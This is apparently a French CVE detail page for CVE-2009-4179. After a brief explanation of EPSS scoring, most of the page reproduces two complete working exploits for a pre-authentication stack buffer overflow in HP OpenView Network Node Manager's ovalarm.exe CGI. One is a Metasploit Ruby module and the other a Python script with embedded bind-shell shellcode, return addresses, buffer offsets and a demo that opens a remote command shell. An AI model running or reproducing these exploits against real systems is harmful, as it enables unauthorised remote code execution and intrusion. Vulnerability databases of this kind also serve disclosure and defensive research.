CVE-2009-4179 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: hp_nnm_ovalarm_lang.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53. By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute arbitrary code. This specific vulnerability is due to a call to "sprintf_new" in the "isWide" function within "ovalarm.exe". A stack buffer overflow occurs when processing an HTTP request that contains the following. 1. An "Accept-Language" header longer than 100 bytes 2. An "OVABverbose" URI variable set to "on", "true" or "1" The vulnerability is related to "_WebSession::GetWebLocale()" .. NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10998 $', 'References' => [ [ 'CVE', '2009-4179' ], [ 'OSVDB', '60930' ], [ 'BID', '37347' ], [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-09-12' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01950877' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => false, 'Payload' => { 'Space' => 650, 'BadChars' => (0..0x1f).to_a.pack('C*'), 'StackAdjustment' => -3500, 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ESP' }, }, 'Platform' => 'win', 'Targets' => [ [ 'HP OpenView Network Node Manager 7.53', { 'Ret' => 0x5a212a4a } ], # jmp esp in ov.dll [ 'HP OpenView Network Node Manager 7.53 (Windows 2003)', { 'Ret' => 0x71c02b67 } ] # push esp / ret in ws2_32.dll ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 9 2009')) register_options( [ Opt::RPORT(80) ], self.class ) end def exploit # sprintf_new(buf, "@@ isWide: comparing '%s' and '%s'", bigstr, dunno); start = "@@ isWide: comparing '" sploit = rand_text_alphanumeric(78) sploit << [0xffffffff].pack('V') # for jle sploit << [0xffffffff].pack('V') # increment me! sploit << rand_text_alphanumeric(4) sploit << [0x5a404058].pack('V') # ptr to nul byte sploit << rand_text_alphanumeric(8) sploit << [target.ret].pack('V') # ret sploit << payload.encoded print_status("Trying target #{target.name}...") send_request_cgi({ 'uri' => "/OvCgi/ovalarm.exe?OVABverbose=1", 'method' => "GET", 'headers' => { 'Accept-Language' => sploit } }, 3) handler end end =begin 1:014> s -b 0x5a000000 0x5a06a000 ff e4 5a01d78d ff e4 00 00 83 c4 08 85-c0 75 14 68 18 2f 04 5a .........u.h./.Z 1:014> u 0x5a01d78d L1 ov!OVHelpAPI+0x18d: 5a01d78d ffe4 jmp esp <- jmp esp for 7.53, will update in a sec. =end

#!/usr/bin/python # HP NNP ovalarm.exe CGI Remote Buffer Overflow - Pre Authentication # Tested on XP SP3 + IIS + NNM Release B.07.50 # Authors: muts & sinn3r (x90.sinner {a.t} gmail.c0m) # Reference: http://dvlabs.tippingpoint.com/advisory/TPTI-09-12 # http://www.offensive-security.com/0day/exploit-nnm-ovalarm.py.txt # # ** Big thanks to dookie for identifying the problem & testing for us! ** # # IMPORTANT: How to recreate the vulnerable state: # 1. Download NNM from exploit-db.com, install it # 2. Go to Start -> All Programs -> HP OpenView Patches -> OpenView Network Node Manager 7.51 -> run "NNM_01187 Uninstall". And then reboot. # 3. After the patch is removed, open command prompt, go to C:\Inetpub\AdminScrips\ # cscript.exe adsutil.vbs set w3svc/CreateProcessAsUser "false" # # Demo: # sinn3r@backtrack:~$ ./nnm.py 192.168.3.2 # [+] Sending evil buffer to NNMz # [+] Done! # sinn3r@backtrack:~$ nc -vn 192.168.3.2 4444 # (UNKNOWN) [192.168.3.2] 4444 (?) open # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\Program Files\HP OpenView\www\cgi-bin> ################################################################################### import socket, sys if (len(sys.argv) != 2): print "[+] HP NNM 7.53 ovalarm.exe CGI Remote Buffer Overflow" print "[+] Usage: %s <Target>" %sys.argv[0] sys.exit(0) #win32_bind - EXITFUNC=thread LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e" "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48" "\x4e\x36\x46\x52\x46\x32\x4b\x58\x45\x34\x4e\x33\x4b\x58\x4e\x57" "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48" "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x53\x4b\x48" "\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c" "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x45\x46\x32\x4a\x32\x45\x47\x45\x4e\x4b\x48" "\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x34" "\x4b\x38\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x32\x4b\x58" "\x49\x48\x4e\x56\x46\x32\x4e\x41\x41\x56\x43\x4c\x41\x43\x4b\x4d" "\x46\x56\x4b\x48\x43\x54\x42\x43\x4b\x38\x42\x44\x4e\x50\x4b\x58" "\x42\x37\x4e\x51\x4d\x4a\x4b\x48\x42\x44\x4a\x30\x50\x45\x4a\x36" "\x50\x58\x50\x44\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x46" "\x43\x45\x48\x36\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x57\x43\x47" "\x44\x53\x4f\x45\x46\x55\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e" "\x48\x46\x41\x38\x4d\x4e\x4a\x30\x44\x50\x45\x35\x4c\x46\x44\x30" "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x35" "\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x55\x43\x35\x43\x35\x43\x34" "\x43\x45\x43\x54\x43\x35\x4f\x4f\x42\x4d\x48\x36\x4a\x36\x41\x31" "\x4e\x55\x48\x56\x43\x55\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a" "\x4c\x51\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x56\x42\x31" "\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x42" "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d" "\x4a\x46\x45\x4e\x49\x54\x48\x48\x49\x44\x47\x35\x4f\x4f\x48\x4d" "\x42\x45\x46\x35\x46\x45\x45\x55\x4f\x4f\x42\x4d\x43\x59\x4a\x36" "\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x35" "\x4f\x4f\x42\x4d\x48\x56\x4c\x36\x46\x46\x48\x36\x4a\x36\x43\x46" "\x4d\x56\x49\x38\x45\x4e\x4c\x36\x42\x45\x49\x45\x49\x52\x4e\x4c" "\x49\x48\x47\x4e\x4c\x56\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x42\x50\x4f\x44\x34\x4e\x32" "\x43\x49\x4d\x58\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" "\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x44\x4f\x4f" "\x48\x4d\x4b\x55\x47\x55\x44\x45\x41\x35\x41\x55\x41\x45\x4c\x56" "\x41\x30\x41\x55\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x46" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36" "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x38\x47\x45\x4e\x4f" "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" "\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x43\x45\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a") #9000 bytes; 7380+4+1616 #JMP ESP: 0x5A10A88B ovw.dll #Note: Other possible offsets to EIP we've seen: # [ "\x41"*7392 ] + [ EIP ] + [ junk ] # [ "\x41"*7332 ] + [ EIP ] + [ junk ] buff = ("\x41"*7380+ #Compensate for varying IP lengths "\x8b\xa8\x10\x5a" "\xeb\x18\x90\x90" "\x8b\xa8\x10\x5a" "\xeb\x11\x90\x90" "\x8b\xa8\x10\x5a" "\xeb\x08\x90\x90" "\x8b\xa8\x10\x5a" "\x90\x90\x90\x90" "\x90\x90\x90\x90"+ shellcode+ "\xCC"*(1584-len(shellcode)) ) buffer = ("GET /OvCgi/ovalarm.exe HTTP/1.1\r\n" "Host: 192.168.3.111\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5)Gecko/20091102 Firefox/3.5.5\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-us\r\n" "Accept-Encoding: gzip,deflate\r\n" "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" "Cookie: OvAcceptLang=%s; ; OVABverbose=POST\r\n" "Cache-Control: max-age=0\r\n" "\r\n\r\n") % buff s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 80)) print "[+] Sending evil buffer to NNMz" s.send(buffer) #print s.recv(1024) s.close() print "[+] Done!"